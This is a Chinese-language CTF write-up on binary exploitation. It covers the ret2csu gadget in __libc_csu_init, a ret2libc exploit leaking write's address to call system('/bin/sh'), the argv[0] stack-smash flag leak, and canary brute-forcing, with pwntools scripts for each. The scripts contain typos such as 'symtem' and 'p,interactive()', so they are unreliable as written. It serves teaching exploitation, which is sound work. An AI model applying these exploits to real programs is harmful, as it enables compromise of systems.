在64位程序中,前6个参数依次存放在rdi,rsi,rdx,rcx,r8,r9寄存器中,从第七个开始放入栈中。
.text:00000000004005C0 .text:00000000004005C0 ; =============== S U B R O U T I N E ======================================= .text:00000000004005C0 .text:00000000004005C0 .text:00000000004005C0 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64) .text:00000000004005C0 public __libc_csu_init .text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16↑o .text:00000000004005C0 ; __unwind { .text:00000000004005C0 push r15 .text:00000000004005C2 push r14 .text:00000000004005C4 mov r15d, edi .text:00000000004005C7 push r13 .text:00000000004005C9 push r12 .text:00000000004005CB lea r12, __frame_dummy_init_array_entry .text:00000000004005D2 push rbp .text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004005DA push rbx .text:00000000004005DB mov r14, rsi .text:00000000004005DE mov r13, rdx .text:00000000004005E1 sub rbp, r12 .text:00000000004005E4 sub rsp, 8 .text:00000000004005E8 sar rbp, 3 .text:00000000004005EC call _init_proc .text:00000000004005F1 test rbp, rbp .text:00000000004005F4 jz short loc_400616 .text:00000000004005F6 xor ebx, ebx .text:00000000004005F8 nop dword ptr [rax+rax+00000000h] .text:0000000000400600 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] // call qword ptr [r12+rbx*8] //把r12 + rbx*8的值算出来,当地址来call,然后r12和rbx又是在栈里面出来的,所以我们盖到它们对应的位置就可以控制call一个任意地址 //调用了函数指针数组里面的某个函数 .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn .text:0000000000400624 ; } // starts at 4005C0 .text:0000000000400624 __libc_csu_init endp .text:0000000000400624 .text:0000000000400624 ; ---------------------------------------------------------------------------
先分为两段gadget,因为第一段那里有ret,先执行第一段,控制参数,再执行第二段,执行函数
第一段
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn
第二段
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600
.text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn .text:0000000000400624 ; } // starts at 4005C0 .text:0000000000400624 __libc_csu_init endp
.text:0000000000400600 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] // call qword ptr [r12+rbx*8] //把r12 + rbx*8的值算出来,当地址来call,然后r12和rbx又是在栈里面出来的,所以我们盖到它们对应的位置就可以控制call一个任意地址 //调用了函数指针数组里面的某个函数
.text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600
下面开始结合具体题目进行分析
int __cdecl main(int argc, const char **argv, const char **envp) { write(1, "Hello, World\n", 0xDuLL); vulnerable_function(); return 0; }
ssize_t vulnerable_function() { char buf[128]; // [rsp+0h] [rbp-80h] BYREF return read(0, buf, 0x200uLL); }
ssize_t read(int fd,void*buf,size_t count)
参数:
fd 文件描述符
buf 读出数据的缓冲区
count 每次读取字节数
ssize_t write(int fd,const void*buf,size_t count)
write()会把参数buf所指的内存写入count个字节到参数放到所指的文件内,fd为文件描述符,fd为1时为标准输出,下面需要在寄存器中部署三个参数,并且在最后调用write在got表中的地址进而调用write函数打印出自身函数地址
下面开始寻找write函数在内存中的真实地址
from pwn import* p=process() elf = ELF() pop_addr = 0x40061a write_got = elf.got['write'] mov_addr = 0x400600 main_addr = elf.symbols['main'] p.recvuntil('Hello,World\n') payload0 = b'a'*136 +p64(pop_addr) +p64(0) + p64(1) +p64(write_got) +p64(8) +p64(write_got) +p64(1) +p64(mov_addr) + b'a'*(0x8+8*6) + p64(main_addr) p.sendline(payload0) write_start = u64(p.recv(8)) print "write_addr_in_memory_is" + hex(write_start)
下面对paylaod0进行重点分析,先输入136个字符使程序发生栈溢出,然后让pop_addr覆盖栈中的返回地址,使程序执行pop_addr地址处的函数,并分别将栈中的0,1,write_got函数地址,8,write_got,1分别pop到寄存器rbx,rbp,r12,r13,r14,r15中去,所有寄存器的存放内容
.text:000000000040061A pop rbx //rbx->0 .text:000000000040061B pop rbp //rbp->1 .text:000000000040061C pop r12 //r12->write_got函数地址 .text:000000000040061E pop r13 //r13->8 .text:0000000000400620 pop r14 //r14->write_got函数地址 .text:0000000000400622 pop r15 //r15->1 .text:0000000000400624 retn //覆盖为mov_addr
说一下payload中两个write_got函数的作用,在布置完寄存器中,有call qword ptr[p12+rbx*8]调用了write函数,其参数为write_got函数地址,r14寄存器,写成c语言类似为:write(write_got函数地址)==printf(write_gothas、函数地址),再使用u64(p.recv(8))接受数据,再print出来就行
之后程序转向mov_addr函数,利用mov指令布置寄存器rdx,rsi,edi
.text:0000000000400600 mov rdx, r13 //rdx==r13==8 .text:0000000000400603 mov rsi, r14 //rsi==r14==write_got函数地址 .text:0000000000400606 mov edi, r15d //edi==r15d==1 .text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] //call write_got函数地址 .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp //rbx==1,rbp==1 .text:0000000000400614 jnz short loc_400600 //jnz(jne)结果不为零(不相等)则跳转
从整体上来看,我们输入了‘a'*136,利用payload0对寄存器重新布局后又重新回到了main函数,
再说b’a'(0x8+8x6)的作用,他的作用就是为了平衡堆栈,也就是说,当mov_addr执行完之后,按照流程仍然执行400616处的函数,我们不希望它执行到此,因为会再次pop寄存器更换我们布置好的内容,所以为了堆栈平衡,我们使用垃圾数据填充此处的代码(栈区和代码区同属于内存区域,可以被填充),用垃圾数据填充地址0x16-0x22的内容,最后将main_addr覆盖ret,从而执行main_addr处的内容
第一部分exp上述已知,这样就获得了write函数的真实地址
这道题目我们使用系统自带的libc.so.6文件,请注意:当程序加载的时候会寻找同目录下的libc.so.6文件,如果存在,则会自动加载,而不会去加载系统自带的libc文件
libc = ELF() #libc = ELF('libc.so.6') libc_base=write_start-libc.symbols['write'] system_addr=libc.symbols['symtem']+libc_base binsh=next(libc.search('/bin/sh'))+libc_base print"libc_base_addr_in_memory_is"+hex(libc_base) print"system_addr_in_memory_is"+hex(system_addr) print"/bin/sh_addr_in_memory_is"+hex(binsh) pop_rdi_ret=0x400623 payload=b'a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(syytem_addr) p.send(payload) p.interactive()
当我们获得write函数真实地址后,就可以计算出libc文件的基地址,从而计算出system函数和/bin/sh字符串在内存中的地址,从而利用它。
下面看一下第二个payload的含义,当程序重新执行到main函数的时候,我们利用栈溢出让返回地址被pop_rdi_ret覆盖,从而程序执行pop_rdi_ret,之所以用这个gadget,参见64位传参规则
此处需要注意的是,当我们send payload之后,pop_rdi_ret,binsh和system_addr被送入到了栈中,利用gadgets:pop_rdi_ret将栈中的binsh地址送往rdi寄存器中,也就是说pop_rdi_ret的参数是地址binsh,然后将system函数地址覆盖到ret,程序就会执行此system函数。
from pwn import* p = process() elf = ELF() pop_addr = 0x40061a write_got = elf.got['write'] mov_addr = 0x400600 main_addr = elf.symbols['main'] p.recvuntil('Hello,World\n') payload0 = b'a'*136 +p64(pop_addr) +p64(0) + p64(1) +p64(write_got) +p64(8) +p64(write_got) +p64(1) +p64(mov_addr) + b'a'*(0x8+8*6) + p64(main_addr) p.sendline(payload0) write_start = u64(p.recv(8)) print "write_addr_in_memory_is" + hex(write_start) libc = ELF() #libc = ELF('libc.so.6') libc_base=write_start-libc.symbols['write'] system_addr=libc.symbols['symtem']+libc_base binsh=next(libc.search('/bin/sh'))+libc_base print"libc_base_addr_in_memory_is"+hex(libc_base) print"system_addr_in_memory_is"+hex(system_addr) print"/bin/sh_addr_in_memory_is"+hex(binsh) pop_rdi_ret=0x400623 payload=b'a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(syytem_addr) p.send(payload) p.interactive()
用gadget改变esp的值
控制esp!
Stack smash基本原理是利用程序中栈(stack)这个数据结构的特点,通过非法的输入数据来改变栈中的指针和返回地址,从而让程序执行一些攻击者预先设定的恶意代码。
Stack smash简单点来说就是绕过Canary保护的技术。在程序加载了canary保护之后,如果我们通过栈溢出在覆盖缓冲区的时候就会连带着覆盖了canary保护的Cookie,这个时候程序就会报错。但是这个技术并不在乎是否报错,而是在乎报错的内容。stack smash技巧就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动canary保护之后,如果发现canary被修改的话就会执__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下这个指针指向程序名。代码如下:
void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); }
在这段代码中,stack_chk_fail函数是在程序检测到栈溢出错误时被调用的函数,该函数使用了特殊的__attribute ((noreturn))修饰符,表示函数不会返回。fortify_fail函数是被stack_chk_fail调用的函数,它的作用是输出一个错误信息,并终止程序的执行。
具体而言,当程序检测到栈溢出错误时,会调用stack_chk_fail函数,在该函数中会调用fortify_fail函数,输出错误信息并终止程序执行。fortify_fail函数使用了libc_message函数输出错误信息,其中第一个参数是错误信息,第二个参数是程序的名称,如果没有传递该参数,则使用"<unknown>"表示程序名称。</unknown>
这段代码的作用是保护程序免受栈溢出攻击,一旦发现栈溢出错误,程序就会立即终止执行,并输出错误信息,从而防止攻击者利用栈溢出漏洞执行恶意代码。
所以如果我们利用栈溢出覆盖argv[0]为我们想要输出的字符串地址,那么在__fortify_fail函数中就会输出我们想要的信息。
简单的来说,就是利用程序的栈溢出来打印flag
扔到ida进行分析
main
看sub_4007E0的伪代码
程序提供了两次输入:!_IO_gets(&v3)和_IO_getc(stdin);;这两次输入都存在这栈溢出漏洞。
第二次的输入:我们将内容输入到stdio中,最后赋值给了byte_600D20。它从标准输入读取用户输入的字符,直到读取了 32 个字符或遇到换行符为止。将这些字符存储在名为 byte_600D20
的静态字符数组中。如果用户输入的字符不足 32 个,则使用 memset
函数将数组剩余部分填充为零。
memset函数: memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));
memset函数的原型为: void * memset( void * ptr, int value, size_t num ); 参数说明: ptr 为要操作的内存的指针。 value 为要设置的值。你既可以向 value 传递 int 类型的值,也可以传递 char 类型的值,int 和 char 可以根据 ASCII 码相互转换。 num 为 ptr 的前 num 个字节,size_t 就是unsigned int。
因此这个函数的意思是从v1 + 0x600D20LL这个地址往后32 - v1字节的内容都以0替代。
我们再看一下的byte_600D20内容:PCTF{Here's the flag on server}
这个flag提示我们真正的flag在服务器上,因此这道题并不是让我们getshell,而是通过栈溢出打印出远程服务器上真正的flag。
那么这时候问题就来了,程序会要求我们输入内容,但是输入的内容总会覆盖真正的flag(byte_600D20),那现在应该怎么办呢?
这时候我们就需要利用“ELF重映射”特点:
简单来说,ELF重映射就是程序在内存中的位置调整,让它能够更好地运行和扩展,就像房子需要更大的土地一样。
在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出
当可执行文件足够小的时候,他的不同区段可能会被多次映射。
下面开始打开gdb,现在main函数处下一个断点,运行程序
注意开头的
0x401000 r-xp 1000 0 /home/kk/pwnttt/smashes 0x601000 rw-p 1000 0 /home/kk/pwnttt/smashes
在调试的时候可以看到smashes被映射到两处地址中,所以只要在二进制文件(offset)0x000000000 ~ 0x00001000范围内的内容都会被映射到内存中,分别以0x600000和0x400000作为起始地址。
flag在0x00000d20,所以会在内存中出现两次,分别位于0x00600d20和0x00400d20。所以虽然0x00600d20位置的flag被覆盖了,但是依然可以在0x00400d20找到flag(相当于flag的备份)。
我们知道了flag在内存中存放的位置,接下来就要让程序打印出来它
接下来寻找一下argv[0]所在的位置,argv[0]会有一个明显的特征,就是他会指向程序名,所以我们可以使用gdb在main函数处下断点来寻找:
可以看到在0x7fffffffe2d4中存放着程序名称,但是这个地址被存放在0x7fffffffdf68处,所以只要把0x7fffffffdf68中的内容替换成flag就可以了。
当然也可以在gdb中使用命令“p & __libc_argv[0]”就可以得到argv[0]的地址
为什么这一步要找输入时的栈顶位置呢?往下看就知道了。
首先我们先看一下gets函数调用的位置,在IDA中查看:
从汇编中可以看出在call gets之前,程序将参数放在了rdi中,由于有mov rdi, rsp的存在,因此gets的参数一开始是放在栈里的。继续gdb调试,在gets(0x40080E)下断点,查看栈的内容,如下图所示:
#coding=utf8 from pwn import * context.log_level = 'debug' p=process('./pwnttt/smashes') payload='a'*0x218+p64(0x400d20) p.sendlineafter('name? ',payload) p.sendlineafter('flag: ','kk')#第二次的gets输入任意内容即可 print p.recv()
32位程序,开启了canary保护和NX保护,将文件放入ida中
分析可知看出,main函数中存在fork函数,这是爆破canary的重点
进入fun()函数
发现read(0, buf, 0x78u);通过对栈段的查看,我们可以输入0x78的内容
但是buf的空间为:0x70-0xc=0x64
因此可以发生栈溢出覆盖其他变量,其中v2就是保存的Canary变量
*
注意
#coding=utf8 from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] context(arch='i386',os='linux') local = 1 elf = ELF() if local: p = process() #libc = elf.libc else: p =remote() libc = ELF() p.recvuntil('welcome\n') canary = '\x00' for k in range(3): for i in range(256): print"正在爆破Canary的第” + str(k+1)+"位" print"当前的字符为"+ chr(i) payload=b'a'*100 + canary + chr(i) print "当前payload为:",payload p.send(b'a'*100 + canary +chr(i)) data = p.recvuntil("welcome\n") print data if "sucess" in data: canary += chr(i) print "Canary is:" + canary break
#coding=utf8 from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] context(arch='i386',os='linux') local = 1 elf = ELF() if local: p = process() #libc = elf.libc else: p =remote() libc = ELF() p.recvuntil('welcome\n') canary = '\x00' for k in range(3): for i in range(256): print"正在爆破Canary的第” + str(k+1)+"位" print"当前的字符为"+ chr(i) payload=b'a'*100 + canary + chr(i) print "当前payload为:",payload p.send(b'a'*100 + canary +chr(i)) data = p.recvuntil("welcome\n") print data if "sucess" in data: canary += chr(i) print "Canary is:" + canary break addr = 0x0804863B payload = b'A'*100 + canary + b'A'*12 + p32(addr) p.send(payload) p,interactive()